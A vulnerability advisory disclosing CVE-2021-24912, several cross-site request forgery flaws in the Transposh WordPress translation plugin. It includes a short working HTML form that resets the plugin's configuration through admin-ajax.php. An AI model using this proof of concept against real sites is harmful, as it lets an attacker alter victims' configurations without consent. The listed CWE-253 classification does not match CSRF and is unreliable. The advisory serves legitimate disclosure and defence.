Transposh <= 1.0.8.1 Multiple Cross-Site Request Forgeries
Jul 22, 2022 · By Julien Ahrens
ADVISORY INFORMATION
- Product: Transposh WordPress Translation
- Vendor URL: https://wordpress.org/plugins/transposh-translation-filter-for-wordpress
- Type: Cross-Site Request Forgery [CWE-253]
- Date found: 2021-08-19
- Date published: 2022-07-22
- CVSSv3 Score: 5.5 (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:L)
- CVE: CVE-2021-24912
CREDITS
This vulnerability was discovered and researched by Julien Ahrens from RCE Security.
VERSIONS AFFECTED
Transposh WordPress Translation 1.0.8.1 and below
INTRODUCTION
Transposh translation filter for WordPress offers a unique approach to blog translation. It allows your blog to combine automatic translation with human translation aided by your users with an easy to use in-context interface.
(from the vendor’s homepage)
VULNERABILITY DETAILS
The WordPress plugin lacks anti-CSRF protection on a lot of its functionalities such as the following WordPress ajax actions:
tp_backup - Initiates a new backup tp_reset - Resets the plugin’s configuration tp_cleanup - Deletes automated translations tp_dedup - Deletes duplicates tp_maint - Fixes internal errors tp_translate_all - Triggers an auto-translation of all entries tp_translation - Adds a new translation for a given item
Since there is no anti-CSRF token protecting these functionalities, they are vulnerable to Cross-Site Request Forgery attacks allowing an attacker to perform a variety of attacks as mentioned above.
To successfully exploit this vulnerability, a user with the right to access the Transposh “Utilities” or the right to add new translations must be tricked into visiting an arbitrary website while having an authenticated session in the application.
PROOF OF CONCEPT
An exemplary exploit to reset the plugin’s configuration:
<html>
<body>
<form action="http://[host]/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="tp_reset" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
SOLUTION
None. Remove the plugin to prevent exploitation.
REPORT TIMELINE
- 2021-08-19: Discovery of the vulnerability
- 2021-08-20: Contacted the vendor via their contact form
- 2021-08-20: Vendor response
- 2021-08-20: Sent all the PoC exploits
- 2021-08-20: Vendor acknowledges the issues
- 2021-09-14: Requested status update from vendor
- 2021-10-07: No response from vendor, requested status update again
- 2021-10-25: CVE requested from WPScan (CNA)
- 2021-10-27: WPScan assigns CVE-2021-24912
- 2022-05-22: Sent request for status update on the fix
- 2022-05-24: Vendor states that there is no updated planned so far
- 2022-07-22: Public disclosure
REFERENCES
None